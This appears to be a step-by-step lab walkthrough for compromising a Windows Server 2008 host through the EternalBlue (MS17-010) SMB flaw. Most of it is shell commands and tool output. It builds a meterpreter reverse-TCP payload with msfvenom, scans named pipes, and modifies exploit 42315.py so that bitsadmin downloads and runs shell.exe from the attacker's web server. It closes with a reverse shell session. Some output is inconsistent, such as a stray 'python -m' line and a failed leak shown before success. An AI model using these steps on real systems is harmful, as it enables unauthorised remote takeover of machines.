win2k8 ms17-010 manual

Get requirements:
wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py

Search for eternalblue exploit:
Select the second one

```
root@kali:/tmp/winsvr# searchsploit eternalblue
------------------------------------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------------------------------------
Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)
Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
Microsoft Windows Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)
```

```
------------------------------------------
  Path
 (/usr/share/exploitdb/)
------------------------------------------
 exploits/windows_x86-64/remote/42031.py
 exploits/windows/remote/42315.py
 exploits/windows_x86-64/remote/42030.py
```

Copy the exploit to clipboard and from clipboard to current folder:

```
root@kali:/tmp/winsvr# searchsploit -p exploits/windows/remote/42315.py
  Exploit: Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue'
      URL: https://www.exploit-db.com/exploits/42315/
     Path: /usr/share/exploitdb/exploits/windows/remote/42315.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied EDB-ID #42315's path to the clipboard.
root@kali:/tmp/winsvr# cp /usr/share/exploitdb/exploits/windows/remote/42315.py .
root@kali:/tmp/winsvr# ls -lah
total 212K
drwxr-xr-x  2 root root 4.0K Nov 25 03:51 .
drwxrwxrwt 22 root root 4.0K Nov 25 03:51 ..
-rwxr-xr-x  1 root root  41K Nov 25 03:51 42315.py
```

Create meterpreter payload:

```
root@kali:/tmp/winsvr# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.48.143 lport=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
root@kali:/tmp/winsvr# python -m
```

Scan for named pipes:

```
msf auxiliary(scanner/smb/pipe_auditor) > options

Module options (auxiliary/scanner/smb/pipe_auditor):

   Name         Current Setting                                                Required
   ----         ---------------                                                --------
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes
   RHOSTS       win2k8                                                         yes
   SMBDomain    .                                                              no
   SMBPass                                                                     no
   SMBUser      root                                                           no
   THREADS      1                                                              yes

msf auxiliary(scanner/smb/pipe_auditor) >
```

```
msf auxiliary(scanner/smb/pipe_auditor) > set rhosts win2k8
rhosts => win2k8
msf auxiliary(scanner/smb/pipe_auditor) > set smbuser root
smbuser => root
msf auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.40.139:445    - Pipes: \netlogon, \lsarpc, \samr, \atsvc,
lugplay, \protected_storage, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/pipe_auditor) >
```

Start apache web server:

```
root@kali:/tmp/winsvr# cp shell.exe /var/www/html
root@kali:/tmp/winsvr# service apache2 start
root@kali:/tmp/winsvr#
```

Comment out service_exec on the exploit code and insert this commands:
service_exec(conn, r'cmd /c "bitsadmin /transfer job http://192.168.40.143/shell.exe c:\\shell.exe"')
time.sleep(10)
service_exec(conn, r'cmd /c c:\\shell.exe')

```
def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        service_exec(conn, r'cmd /c "bitsadmin /transfer job http://192.168.40.143/shell.exe c:\\shell.exe"')
        time.sleep(10)
        service_exec(conn, r'cmd /c c:\\shell.exe')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."
```

Start meterpreter listener:

```
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.40.143:4444
```

Run exploit

```
root@kali:/tmp/winsvr# python exploit.py 192.168.40.139 netlogon
Target OS: Windows Server 2008 R2 Standard 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa800f4a1ba0
SESSION: 0xfffff8a0056f15a0
FLINK: 0xfffff8a007335048
InParam: 0xfffff8a00735a15c
MID: 0x2f03
unexpected alignment, diff: 0x-25fb8
leak failed... try again
CONNECTION: 0xfffffa800f4a1ba0
```

Reverse shell popped

```
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost eth0
lhost => eth0
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.40.143:4444
[*] Sending stage (179779 bytes) to 192.168.40.139
[*] Meterpreter session 1 opened (192.168.40.143:4444 -> 192.168.40.139:57739) at 2019-11-25 03:45:24 -0500

meterpreter >
```